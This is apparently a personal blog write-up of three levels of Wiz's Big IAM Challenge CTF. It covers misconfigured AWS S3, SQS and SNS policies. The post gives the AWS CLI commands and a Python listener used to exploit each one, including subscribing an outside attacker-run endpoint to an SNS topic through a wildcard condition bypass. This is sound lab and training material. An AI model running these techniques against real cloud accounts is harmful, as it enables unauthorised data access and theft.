Wiz’s Big IAM Challenge
Wiz’s Big IAM Challenge caught my eye a few weekends ago. I didn’t finish the whole CTF, but plan on doing so if the time permits.
Each challenge starts with an AWS IAM policy that is misconfigured.
Challenge 1
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}
With this policy you can get any object in the bucket, but you can only list objects in the files/
prefix. Nothing is worse than looking around in the dark for random S3 objects, therefore…
> aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/
2023-06-05 19:13:53 37 flag1.txt
2023-06-08 19:18:24 81889 logo.png
> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt -
Challenge 2
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}
This policy allows anyone to receive messages from the specific queue resource. The ‘catch’ here is knowing how to build together the SQS URL as Wiz does not give it to you directly.
> aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
{
"Messages": [
{
"MessageId": "",
"ReceiptHandle": "",
"MD5OfBody": "",
"Body": "{\"URL\": \"https://find-it-yourself-;).s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.3258dev.35046 libwww-FM/2.14
SSL-MM/1.4.3714\", \"IsAdmin\": true}"
}
]
}
Going to the URL in the returned body gives you the flag.
Challenge 3
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}
This challenge is interesting. Any AWS principal is allowed to subscribe to a resource where the endpoint matches the condition string. The intent of the condition string is to limit any endpoints from listening outside of the specified domain, but naturally the wildcard character allows us to act creatively here.
We’ll need an endpoint to listen, accept the subscription, and retrieve the flag. I opted to spin up a quick VM in Google Cloud to field the request.
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://my-gcp-compute-external-ip:7809/@tbic.wiz.io
I started with a simple Python HTTP server at the given endpoint. SNS will periodically post messages to the endpoint.
$user@$vm_name:~/http$ python3 -m http.server 7809
Serving HTTP on 0.0.0.0 port 7809 (http://0.0.0.0:7809/) ...
SNS_IP - - [00/00/00 18:00:19] "POST /@tbic.wiz.io HTTP/1.1" 501 -
SNS_IP - - [00/00/00 18:00:41] code 501, message Unsupported method ('POST')
SNS_IP - - [00/00/00 18:00:41] "POST /@tbic.wiz.io HTTP/1.1" 501 -
SNS_IP - - [00/00/00 18:01:02] code 501, message Unsupported method ('POST')
SNS_IP - - [00/00/00 18:01:02] "POST /@tbic.wiz.io HTTP/1.1" 501 -
SNS_IP - - [00/00/00 18:01:23] code 501, message Unsupported method ('POST')
SNS_IP - - [00/00/00 18:01:23] "POST /@tbic.wiz.io HTTP/1.1" 501 -
Messages are hitting the server! Now it’s a matter of responding and accepting the subscription from the web server. A couple of StackOverflow answers later and my hack Python web server looked like this:
from http.server import BaseHTTPRequestHandler, HTTPServer
class handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
message = "Hello, World! Here is a GET response"
self.wfile.write(bytes(message, "utf8"))
def do_POST(self):
content_length = int(self.headers.get('Content-Length'))
body = self.rfile.read(content_length).decode('utf-8')
# Log the request body
print('Request Body:', body)
self.send_response(200)
with HTTPServer(('', 7809), handler) as server:
server.serve_forever()
Once we start logging out the full request body we simply need to visit the supplied URL to confirm the subscription.
Request Body: {
"Type" : "SubscriptionConfirmation",
"MessageId" : "",
"Token" : "",
"TopicArn" : "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Message" : "You have chosen to subscribe to the topic arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications.\nTo confirm the subscription, visit the SubscribeURL included in this message.",
"SubscribeURL" : "https://the-important-url-here",
"Timestamp" : "",
"SignatureVersion" : "1",
"Signature" : "",
"SigningCertURL" : "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-01d088a6f77103d0fe307c0069e40ed6.pem"
}
Upon confirmation the SNS topic will then send us a message from SNS with a flag inside!
Request Body: {
"Type" : "Notification",
"MessageId" : "",
"TopicArn" : "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Message" : "{flag:find-it-yourself}",
"Timestamp" : ""
"SignatureVersion" : "1",
"Signature" : ""
"SigningCertURL" : "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-01d088a6f77103d0fe307c0069e40ed6.pem",
"UnsubscribeURL" : ""
}
Thanks to the Wiz team for putting this CTF together!